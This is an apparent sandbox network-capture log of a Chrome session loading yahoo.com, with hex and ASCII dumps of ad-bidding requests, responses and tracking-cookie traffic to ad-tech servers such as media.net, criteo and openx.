2024-04-27 22:41:59 UTC	5844	OUT	Data Raw: 7b 22 73 69 74 65 22 3a 7b 22 64 6f 6d 61 69 6e 22 3a 22 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 22 2c 22 70 61 67 65 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 22 2c 22 72 65 66 22 3a 22 22 2c 22 74 6f 70 4d 6f 73 74 4c 6f 63 61 74 69 6f 6e 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 22 2c 22 69 73 54 6f 70 22 3a 74 72 75 65 2c 22 63 61 6e 6f 6e 69 63 61 6c 5f 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 22 2c 22 6f 67 5f 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 22 7d 2c 22 65 78 74 22 3a 7b 22 63 75 73 74 6f 6d 65 72 5f 69 64 22 3a 22 38 43 55 32 4b 31 32 33 46 22 2c 22 70 72 65 62 69 64 5f 76 65 72 73 69 6f 6e Data Ascii: {"site":{"domain":"www.yahoo.com","page":"https://www.yahoo.com/","ref":"","topMostLocation":"https://www.yahoo.com/","isTop":true,"canonical_url":"https://www.yahoo.com/","og_url":"https://www.yahoo.com/"},"ext":{"customer_id":"8CU2K123F","prebid_version
2024-04-27 22:41:59 UTC	775	IN	HTTP/1.1 200 OK cache-control: max-age=0, no-cache, no-store, must-revalidate pragma: no-cache expires: Sat, 27 Apr 2024 22:41:59 GMT accept-ch: Sec-CH-UA-Mobile,Sec-CH-UA-Platform,Sec-CH-UA-Platform-Version,Sec-CH-UA-Arch,Sec-CH-UA-Bitness,Sec-CH-UA-Full-Version-List,Sec-CH-UA-Model set-cookie: receive-cookie-deprecation=1; Secure; HttpOnly; Path=/; SameSite=None; Partitioned; Max-Age=15552000 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://www.yahoo.com content-type: application/json;charset=utf-8 date: Sat, 27 Apr 2024 22:41:59 GMT x-envoy-upstream-service-time: 83 vary: Accept-Encoding server: envoy transfer-encoding: chunked Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-27 22:41:59 UTC	480	IN	Data Raw: 35 64 38 62 0d 0a 7b 22 69 64 22 3a 22 36 62 33 30 31 30 65 34 66 63 31 66 38 62 64 34 61 66 65 66 35 62 32 39 36 39 30 38 31 66 33 64 22 2c 22 62 69 64 4c 69 73 74 22 3a 5b 7b 22 6e 6f 5f 62 69 64 22 3a 66 61 6c 73 65 2c 22 72 65 71 75 65 73 74 49 64 22 3a 22 34 34 61 31 61 35 32 65 38 65 30 33 30 34 31 22 2c 22 63 70 6d 22 3a 30 2e 32 34 2c 22 61 64 22 3a 22 3c 64 69 76 20 69 64 3d 5c 22 72 63 5f 34 39 30 38 39 64 35 61 62 66 36 38 37 30 37 38 39 64 35 37 62 62 63 63 35 37 35 36 37 65 65 66 5c 22 3e 3c 2f 64 69 76 3e 3c 73 63 72 69 70 74 3e 74 72 79 7b 6e 65 77 20 49 6d 61 67 65 28 29 2e 73 72 63 3d 5c 22 68 74 74 70 73 3a 2f 2f 68 62 6c 67 2e 6d 65 64 69 61 2e 6e 65 74 2f 6c 6f 67 3f 6c 6f 67 69 64 3d 6b 66 6b 65 26 65 76 74 69 64 3d 70 6c 75 74 6f 6c Data Ascii: 5d8b{"id":"6b3010e4fc1f8bd4afef5b2969081f3d","bidList":[{"no_bid":false,"requestId":"44a1a52e8e03041","cpm":0.24,"ad":"<div id=\"rc_49089d5abf6870789d57bbcc57567eef\"></div><script>try{new Image().src=\"https://hblg.media.net/log?logid=kfke&evtid=plutol
2024-04-27 22:41:59 UTC	1255	IN	Data Raw: 7a 52 67 67 4f 4d 7a 41 77 65 44 59 77 4d 42 41 77 4c 6a 49 7a 4e 54 51 31 4d 41 35 6c 59 58 4e 30 58 33 4e 6a 46 44 55 30 4d 6a 67 78 4f 56 39 7a 63 32 77 4d 55 46 4a 46 51 6b 6c 45 42 6d 46 6b 62 51 41 41 41 41 41 41 41 41 44 77 76 39 4c 48 78 35 76 6b 59 77 49 78 41 41 41 41 41 41 41 41 38 4c 38 38 63 6e 52 69 4c 57 4e 76 62 57 31 76 62 69 30 31 4e 32 52 69 4e 44 51 35 5a 44 63 30 4c 57 74 6b 5a 6d 74 72 4c 6c 4e 44 41 68 42 6d 4e 7a 59 33 5a 6d 51 78 4f 41 4a 6b 41 67 78 6a 62 32 31 74 62 32 34 26 63 70 72 3d 5c 22 2b 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 7d 63 61 74 63 68 28 72 29 7b 7d 76 61 72 20 75 74 69 6d 65 3d 28 6e 65 77 20 44 61 74 65 28 29 29 2e 67 65 74 54 69 6d 65 28 29 2d 5c 22 31 37 31 34 32 35 37 37 31 39 38 31 36 5c 22 3b 75 74 69 6d Data Ascii: zRggOMzAweDYwMBAwLjIzNTQ1MA5lYXN0X3NjFDU0MjgxOV9zc2wMUFJFQklEBmFkbQAAAAAAAADwv9LHx5vkYwIxAAAAAAAA8L88cnRiLWNvbW1vbi01N2RiNDQ5ZDc0LWtkZmtrLlNDAhBmNzY3ZmQxOAJkAgxjb21tb24&cpr=\"+Math.random()}catch(r){}var utime=(new Date()).getTime()-\"1714257719816\";utim
2024-04-27 22:41:59 UTC	1255	IN	Data Raw: 41 50 49 26 63 75 72 72 73 72 63 5f 64 61 74 65 3d 32 30 32 34 2d 30 34 2d 32 36 2b 30 30 25 33 41 30 30 25 33 41 30 30 26 70 62 61 73 72 63 3d 30 26 64 75 6d 6d 79 5f 76 73 69 64 3d 66 61 6c 73 65 26 73 65 63 6f 6e 64 5f 63 61 6c 6c 3d 66 61 6c 73 65 26 69 70 63 63 3d 55 53 26 69 73 5f 6d 73 6e 6e 61 74 69 76 65 5f 73 72 63 3d 66 61 6c 73 65 26 70 72 6f 78 79 3d 67 2d 75 73 65 31 64 2d 72 74 62 2d 63 6f 6d 6d 6f 6e 2d 65 6e 76 6f 79 2d 31 31 26 68 65 61 64 65 72 5f 6c 61 6e 67 3d 74 72 75 65 26 68 6f 6d 65 70 61 67 65 3d 66 61 6c 73 65 26 69 6d 70 5f 63 6f 75 6e 74 3d 35 26 74 67 74 5f 69 6d 70 5f 63 6f 75 6e 74 3d 35 26 61 75 64 69 74 3d 31 26 72 74 74 74 69 6d 65 3d 31 36 39 26 72 65 71 5f 74 69 64 5f 70 72 65 73 65 6e 74 3d 66 61 6c 73 65 26 70 76 69 Data Ascii: API&currsrc_date=2024-04-26+00%3A00%3A00&pbasrc=0&dummy_vsid=false&second_call=false&ipcc=US&is_msnnative_src=false&proxy=g-use1d-rtb-common-envoy-11&header_lang=true&homepage=false&imp_count=5&tgt_imp_count=5&audit=1&rtttime=169&req_tid_present=false&pvi
2024-04-27 22:41:59 UTC	424	IN	Data Raw: 76 6c 73 3d 30 26 6d 61 6e 67 3d 31 26 70 76 64 54 6d 61 78 3d 33 30 32 26 66 70 75 73 70 3d 66 61 6c 73 65 26 61 65 3d 66 61 6c 73 65 26 65 70 63 65 78 70 3d 66 61 6c 73 65 26 75 63 72 69 64 5f 76 65 72 3d 32 26 6f 6d 69 64 3d 30 26 6d 6e 65 74 5f 73 74 61 74 69 63 5f 73 68 61 72 65 3d 30 2e 30 26 64 74 3d 4f 26 6d 78 5f 73 76 63 5f 6d 6f 64 65 3d 68 74 74 70 26 69 6e 63 65 6e 74 69 76 65 5f 74 79 70 65 3d 30 26 61 6f 67 62 64 70 3d 30 2e 30 26 73 70 49 76 74 3d 33 26 73 70 53 6f 75 72 63 65 3d 30 26 73 70 54 6f 3d 33 26 73 70 49 73 52 65 71 3d 33 26 73 70 46 73 74 3d 30 26 73 70 43 73 74 3d 30 26 6d 78 5f 73 62 70 3d 2d 31 30 2e 30 26 6d 78 5f 62 61 64 76 5f 63 6f 75 6e 74 3d 31 26 6d 78 5f 65 70 62 63 3d 38 43 55 32 4b 31 32 33 46 26 6d 78 5f 73 73 50 Data Ascii: vls=0&mang=1&pvdTmax=302&fpusp=false&ae=false&epcexp=false&ucrid_ver=2&omid=0&mnet_static_share=0.0&dt=O&mx_svc_mode=http&incentive_type=0&aogbdp=0.0&spIvt=3&spSource=0&spTo=3&spIsReq=3&spFst=0&spCst=0&mx_sbp=-10.0&mx_badv_count=1&mx_epbc=8CU2K123F&mx_ssP
2024-04-27 22:41:59 UTC	1255	IN	Data Raw: 50 4c 49 43 41 42 4c 45 26 6d 78 5f 62 73 56 65 72 64 69 63 74 41 6c 67 6f 3d 52 4c 5f 50 52 4f 46 49 4c 45 53 26 6d 78 5f 63 75 72 72 65 6e 74 45 62 70 3d 2d 32 36 34 32 33 35 2e 39 36 34 31 34 38 32 30 38 38 35 26 6d 78 5f 62 73 73 5f 61 6c 67 6f 73 25 33 43 25 33 45 3d 35 26 6d 78 5f 62 73 41 6c 67 6f 50 72 6f 66 69 6c 65 3d 45 58 54 52 45 4d 45 4c 59 5f 43 4f 4e 53 45 52 56 41 54 49 56 45 26 6d 78 5f 61 75 72 6c 5f 68 63 3d 30 26 6d 78 5f 61 61 62 70 63 3d 30 26 6d 78 5f 69 73 4c 6f 73 73 4e 74 66 3d 66 61 6c 73 65 26 6d 78 5f 62 63 72 69 64 73 5f 73 6f 75 72 63 65 73 25 33 43 25 33 45 3d 34 26 6d 78 5f 73 73 42 75 63 6b 65 74 3d 30 26 6d 78 5f 62 63 61 74 5f 63 6f 75 6e 74 3d 30 26 6d 78 5f 67 70 69 64 5f 73 65 6e 74 3d 66 61 6c 73 65 26 6d 78 5f 63 Data Ascii: PLICABLE&mx_bsVerdictAlgo=RL_PROFILES&mx_currentEbp=-264235.96414820885&mx_bss_algos%3C%3E=5&mx_bsAlgoProfile=EXTREMELY_CONSERVATIVE&mx_aurl_hc=0&mx_aabpc=0&mx_isLossNtf=false&mx_bcrids_sources%3C%3E=4&mx_ssBucket=0&mx_bcat_count=0&mx_gpid_sent=false&mx_c
2024-04-27 22:41:59 UTC	1255	IN	Data Raw: 37 31 26 6d 78 5f 73 69 64 3d 38 43 55 32 4b 31 32 33 46 26 6d 78 5f 53 43 3d 30 26 6d 78 5f 61 64 69 64 3d 35 34 32 38 31 39 5f 73 73 6c 26 6d 78 5f 6e 73 7a 3d 32 26 6d 78 5f 47 43 49 44 3d 30 26 6d 78 5f 6d 61 71 5f 63 61 6c 6c 3d 66 61 6c 73 65 26 6d 78 5f 61 75 72 74 3d 30 26 6d 78 5f 65 5f 66 6c 72 6c 3d 31 26 6d 78 5f 64 69 76 69 64 3d 73 64 61 2d 4c 52 45 43 2d 69 66 72 61 6d 65 26 6d 78 5f 74 67 73 3d 33 30 30 78 32 35 30 25 37 43 33 30 30 78 36 30 30 26 6d 78 5f 62 73 4d 61 72 6b 69 6e 67 56 65 72 64 69 63 74 25 33 43 25 33 45 3d 56 31 25 33 41 73 63 5f 64 65 66 61 75 6c 74 25 33 41 4d 41 52 4b 5f 4e 4f 54 5f 42 4c 4f 43 4b 25 33 41 43 4f 4e 53 45 52 56 41 54 49 56 45 25 32 33 25 32 33 56 31 25 33 41 73 63 5f 64 65 66 61 75 6c 74 25 33 41 4d 41 Data Ascii: 71&mx_sid=8CU2K123F&mx_SC=0&mx_adid=542819_ssl&mx_nsz=2&mx_GCID=0&mx_maq_call=false&mx_aurt=0&mx_e_flrl=1&mx_divid=sda-LREC-iframe&mx_tgs=300x250%7C300x600&mx_bsMarkingVerdict%3C%3E=V1%3Asc_default%3AMARK_NOT_BLOCK%3ACONSERVATIVE%23%23V1%3Asc_default%3AMA
2024-04-27 22:41:59 UTC	1255	IN	Data Raw: 74 6f 70 5f 72 69 67 68 74 26 6d 6e 72 66 63 3d 31 26 73 73 74 5f 62 6c 6b 5f 76 65 72 64 69 63 74 25 33 43 25 33 45 3d 43 25 33 41 4d 4e 42 25 32 33 25 32 33 45 43 25 33 41 4d 4e 42 25 32 33 25 32 33 4e 50 25 33 41 4d 4e 42 26 76 69 65 77 61 62 69 6c 69 74 79 5f 6d 6e 65 74 3d 39 30 26 76 5f 6d 6b 65 79 3d 67 65 6e 2d 76 62 6c 74 5f 70 72 65 62 69 64 5f 74 65 73 74 5f 32 5f 30 26 76 5f 6d 76 65 72 3d 32 30 32 34 30 34 32 33 31 38 34 38 5f 67 65 6e 2d 76 62 6c 74 5f 70 72 65 62 69 64 5f 74 65 73 74 5f 32 26 76 5f 61 6c 67 3d 67 65 6e 2d 76 62 6c 74 5f 70 72 65 62 69 64 5f 61 6c 6c 26 76 63 6d 70 6c 72 74 3d 2d 31 2e 30 26 69 6d 70 5f 74 69 64 5f 70 72 65 73 65 6e 74 3d 66 61 6c 73 65 26 6d 70 5f 73 65 67 25 33 43 25 33 45 3d 36 35 39 33 36 25 32 33 25 32 Data Ascii: top_right&mnrfc=1&sst_blk_verdict%3C%3E=C%3AMNB%23%23EC%3AMNB%23%23NP%3AMNB&viewability_mnet=90&v_mkey=gen-vblt_prebid_test_2_0&v_mver=202404231848_gen-vblt_prebid_test_2&v_alg=gen-vblt_prebid_all&vcmplrt=-1.0&imp_tid_present=false&mp_seg%3C%3E=65936%23%2
2024-04-27 22:41:59 UTC	331	IN	Data Raw: 6d 65 6e 74 29 20 7c 7c 20 66 72 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 20 7c 7c 20 66 72 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 3b 20 64 6f 63 2e 6f 70 65 6e 28 29 3b 20 64 6f 63 2e 77 72 69 74 65 28 63 6f 6e 74 65 6e 74 29 3b 64 6f 63 2e 63 6c 6f 73 65 28 29 3b 7d 20 63 61 74 63 68 20 28 65 29 20 7b 20 28 6e 65 77 20 49 6d 61 67 65 28 29 29 2e 73 72 63 20 3d 20 5c 22 2f 2f 68 62 6c 67 2e 6d 65 64 69 61 2e 6e 65 74 2f 6c 6f 67 3f 6c 6f 67 69 64 3d 6b 66 6b 65 26 65 76 74 69 64 3d 70 6c 75 74 6f 65 76 65 6e 74 73 26 5f 5f 71 3d 41 54 37 44 77 4c 51 41 44 48 42 79 5a 57 4a 70 5a 43 52 68 5a 48 4a 6c 62 6d 52 6c 63 6c 39 6c 65 47 4e 6c 63 48 52 70 62 32 34 53 4f 45 4e 56 4d 6b 73 78 4d 6a 4e 47 45 6a 63 79 4d 54 Data Ascii: ment) \|\| fr.contentDocument.document \|\| fr.contentDocument; doc.open(); doc.write(content);doc.close();} catch (e) { (new Image()).src = \"//hblg.media.net/log?logid=kfke&evtid=plutoevents&__q=AT7DwLQADHByZWJpZCRhZHJlbmRlcl9leGNlcHRpb24SOENVMksxMjNGEjcyMT
2024-04-27 22:41:59 UTC	1255	IN	Data Raw: 63 32 4e 32 5a 6b 4d 54 67 26 72 64 3d 5c 22 20 2b 20 65 6e 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 65 2e 74 6f 53 74 72 69 6e 67 28 29 29 3b 7d 7d 20 20 76 61 72 20 61 64 63 6f 64 65 3d 5c 22 3c 73 74 79 6c 65 3e 5c 5c 72 5c 5c 6e 20 20 20 20 20 20 20 20 2e 63 74 61 47 65 6e 65 72 61 6c 4c 69 6e 6b 7b 5c 5c 72 5c 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 3b 5c 5c 72 5c 5c 6e 20 20 20 20 20 20 20 20 7d 5c 5c 72 5c 5c 6e 20 20 20 20 20 20 20 20 2e 6d 66 61 5f 33 30 30 78 36 30 30 5f 63 6f 6e 74 61 69 6e 65 72 20 7b 5c 5c 72 5c 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 5c 5c 72 5c 5c 6e 20 20 20 Data Ascii: c2N2ZkMTg&rd=\" + encodeURIComponent(e.toString());}} var adcode=\"<style>\\r\\n .ctaGeneralLink{\\r\\n text-decoration:none;\\r\\n }\\r\\n .mfa_300x600_container {\\r\\n background-color: #fff;\\r\\n

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
208	192.168.2.4	49975	74.119.117.6	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:59 UTC	648	OUT	POST /cdb?profileId=207&av=36&wv=8.37.0&cb=16821434399&lsavail=0 HTTP/1.1 Host: bidder.criteo.com Connection: keep-alive Content-Length: 4467 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 content-type: text/plain Accept: / Origin: https://www.yahoo.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:41:59 UTC	4467	OUT	Data Raw: 7b 22 69 64 22 3a 22 31 36 38 34 61 66 63 63 2d 32 34 35 66 2d 34 37 62 61 2d 38 65 31 37 2d 62 37 30 36 30 63 66 37 32 65 35 33 22 2c 22 70 75 62 6c 69 73 68 65 72 22 3a 7b 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 22 2c 22 6e 65 74 77 6f 72 6b 69 64 22 3a 22 31 32 31 33 31 22 7d 2c 22 72 65 67 73 22 3a 7b 22 65 78 74 22 3a 7b 22 67 64 70 72 22 3a 30 2c 22 75 73 5f 70 72 69 76 61 63 79 22 3a 22 31 59 4e 4e 22 7d 2c 22 67 70 70 5f 73 69 64 22 3a 5b 2d 31 5d 2c 22 67 70 70 22 3a 22 44 42 41 41 22 7d 2c 22 73 6c 6f 74 73 22 3a 5b 7b 22 73 6c 6f 74 69 64 22 3a 22 35 30 39 65 66 33 35 37 37 36 64 35 34 36 63 22 2c 22 69 6d 70 69 64 22 3a 22 73 64 61 2d 4c 52 45 43 2d 69 66 72 61 6d 65 22 2c 22 65 78 74 22 3a 7b 22 Data Ascii: {"id":"1684afcc-245f-47ba-8e17-b7060cf72e53","publisher":{"url":"https://www.yahoo.com/","networkid":"12131"},"regs":{"ext":{"gdpr":0,"us_privacy":"1YNN"},"gpp_sid":[-1],"gpp":"DBAA"},"slots":[{"slotid":"509ef35776d546c","impid":"sda-LREC-iframe","ext":{"
2024-04-27 22:41:59 UTC	305	IN	HTTP/1.1 204 No Content date: Sat, 27 Apr 2024 22:41:58 GMT server: Kestrel access-control-allow-credentials: true access-control-allow-origin: https://www.yahoo.com vary: Origin cross-origin-resource-policy: cross-origin strict-transport-security: max-age=31536000; preload; connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
209	192.168.2.4	49976	35.186.253.211	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:59 UTC	603	OUT	POST /openrtbb/prebidjs HTTP/1.1 Host: rtb.openx.net Connection: keep-alive Content-Length: 4320 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 content-type: text/plain Accept: / Origin: https://www.yahoo.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:41:59 UTC	4320	OUT	Data Raw: 7b 22 69 6d 70 22 3a 5b 7b 22 65 78 74 22 3a 7b 22 70 72 65 62 69 64 22 3a 7b 22 70 61 73 73 74 68 72 6f 75 67 68 22 3a 7b 22 63 6c 69 65 6e 74 22 3a 22 70 62 6a 73 22 2c 22 67 61 6d 41 64 43 6f 64 65 22 3a 22 75 73 5f 79 68 70 5f 6d 61 69 6e 5f 64 74 5f 74 6f 70 5f 72 69 67 68 74 22 2c 22 67 61 6d 4c 6f 63 22 3a 22 74 6f 70 5f 72 69 67 68 74 22 2c 22 63 6f 6c 6f 22 3a 22 62 66 31 22 2c 22 64 65 76 69 63 65 22 3a 22 64 65 73 6b 74 6f 70 22 2c 22 6c 61 6e 67 22 3a 22 65 6e 2d 55 53 22 2c 22 6c 75 22 3a 22 30 22 2c 22 70 74 22 3a 22 68 6f 6d 65 22 2c 22 72 65 67 69 6f 6e 22 3a 22 55 53 22 2c 22 73 69 74 65 22 3a 22 66 70 22 2c 22 76 65 72 22 3a 22 6d 65 67 61 73 74 72 6d 22 7d 2c 22 73 74 6f 72 65 64 72 65 71 75 65 73 74 22 3a 7b 22 69 64 22 3a 22 75 73 5f Data Ascii: {"imp":[{"ext":{"prebid":{"passthrough":{"client":"pbjs","gamAdCode":"us_yhp_main_dt_top_right","gamLoc":"top_right","colo":"bf1","device":"desktop","lang":"en-US","lu":"0","pt":"home","region":"US","site":"fp","ver":"megastrm"},"storedrequest":{"id":"us_
2024-04-27 22:42:00 UTC	435	IN	HTTP/1.1 200 OK Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://www.yahoo.com Content-Type: text/plain Set-Cookie: receive-cookie-deprecation=1; Max-Age=31536000; Secure; HttpOnly; Domain=.openx.net; Path=/; SameSite=None; Partitioned; Vary: Origin Date: Sat, 27 Apr 2024 22:42:00 GMT Content-Length: 53 Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-27 22:42:00 UTC	53	IN	Data Raw: 7b 22 69 64 22 3a 22 66 37 32 63 36 36 31 64 2d 64 64 33 63 2d 34 39 63 39 2d 39 30 62 61 2d 30 33 63 61 63 31 30 36 64 66 31 62 22 2c 22 6e 62 72 22 3a 30 7d Data Ascii: {"id":"f72c661d-dd3c-49c9-90ba-03cac106df1b","nbr":0}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
210	192.168.2.4	49965	50.57.31.206	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:59 UTC	678	OUT	GET /oath/1/info2?sType=sync&_sdv&sExtCookieId=y-YSVbioxE2oPyB.SJuye7Yw8M4FFPhdZEn6E-~A&sInitiator=external HTTP/1.1 Host: uipglob.semasio.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: SEUNCY=47E8BD94D4DAD4B1
2024-04-27 22:41:59 UTC	580	IN	HTTP/1.1 200 OK Content-Type: image/gif UIP-Response-Status: Ok Frontend-ID: 4 Set-Cookie: SEUNCY=47E8BD94D4DAD4B1; Expires=Sun, 27 Apr 2025 22:41:59 GMT; Path=/; Domain=.semasio.net; SameSite=None; HttpOnly; Secure Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Expires: Sat, 01 Jan 2011 12:00:00 GMT P3P: policyref="http://uip.semasio.net/w3c/p3p.xml", CP="NOI PSAa PSDa OUR IND UNI CNT" Pragma: no-cache Date: Sat, 27 Apr 2024 22:41:59 GMT Content-Length: 42 Routing-Server-ID: -1 Access-Control-Allow-Origin: * Connection: close
2024-04-27 22:41:59 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 01 4c 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
211	192.168.2.4	49982	3.225.218.10	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:59 UTC	1471	OUT	GET /cms?partner_id=NEUAR&_origin=false&_redirect=false&_hosted_id=214410604865010092114&gdpr=&gdpr_consent= HTTP/1.1 Host: cms.analytics.yahoo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A1S=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; cmp=t=1714257709&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-YhU_4VlE2uKeNX7PHM8XonrbkezQHb0Z~A&dv360=eS1wZjlTZkxORTJ1RlFnUHQ3U1kxNlcuZkxvcHoyVTNzQX5B&ydsp=y-jbTZJGZE2uLrRZGRFNskE6ZV5Anw2j42~A&tbla=y-JBfSm7FE2uKAvLz8j1WHQk70S7DkHdso~A; tbla_id=5a70d3d2-b192-4103-be6f-b86fec483fbc-tuctd2704b2; IDSYNC="19ac~2i3y:19aj~2i3y:19bn~2i3y:19bu~2i3y:19cu~2i3y:19cw~2i3y:19e0~2i3y:19e7~2i3y:19ea~2i3y"; _li_dcdm_c=.yahoo.com; _lc2_fpi=05c3ae107b3d--01hwgvhtc3s7ykx09q1gdbfw31; _lc2_fpi_meta=%7B%22w%22%3A1714257717635%7D
2024-04-27 22:41:59 UTC	355	IN	HTTP/1.1 302 Redirect Date: Sat, 27 Apr 2024 22:41:59 GMT Connection: close Server: ATS/9.1.10.112 Cache-Control: no-store Location: https://ups.analytics.yahoo.com/ups/58692/cms?partner_id=NEUAR&_origin=false&_redirect=false&_hosted_id=214410604865010092114&gdpr=&gdpr_consent= Content-Type: text/html Content-Language: en Content-Length: 427
2024-04-27 22:41:59 UTC	427	IN	Data Raw: 3c 48 54 4d 4c 3e 0a 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 44 6f 63 75 6d 65 6e 74 20 48 61 73 20 4d 6f 76 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 0a 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 77 68 69 74 65 22 20 46 47 43 4f 4c 4f 52 3d 22 62 6c 61 63 6b 22 3e 0a 3c 48 31 3e 44 6f 63 75 6d 65 6e 74 20 48 61 73 20 4d 6f 76 65 64 3c 2f 48 31 3e 0a 3c 48 52 3e 0a 0a 3c 46 4f 4e 54 20 46 41 43 45 3d 22 48 65 6c 76 65 74 69 63 61 2c 41 72 69 61 6c 22 3e 3c 42 3e 0a 44 65 73 63 72 69 70 74 69 6f 6e 3a 20 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 79 6f 75 20 72 65 71 75 65 73 74 65 64 20 68 61 73 20 6d 6f 76 65 64 20 74 6f 20 61 20 6e 65 77 20 6c 6f 63 61 74 69 6f 6e 2e 20 20 54 68 65 20 6e 65 77 20 6c 6f 63 61 74 69 6f 6e 20 69 73 20 22 68 Data Ascii: <HTML><HEAD><TITLE>Document Has Moved</TITLE></HEAD><BODY BGCOLOR="white" FGCOLOR="black"><H1>Document Has Moved</H1><HR><FONT FACE="Helvetica,Arial"><B>Description: The document you requested has moved to a new location. The new location is "h

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
212	192.168.2.4	49983	69.147.92.12	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
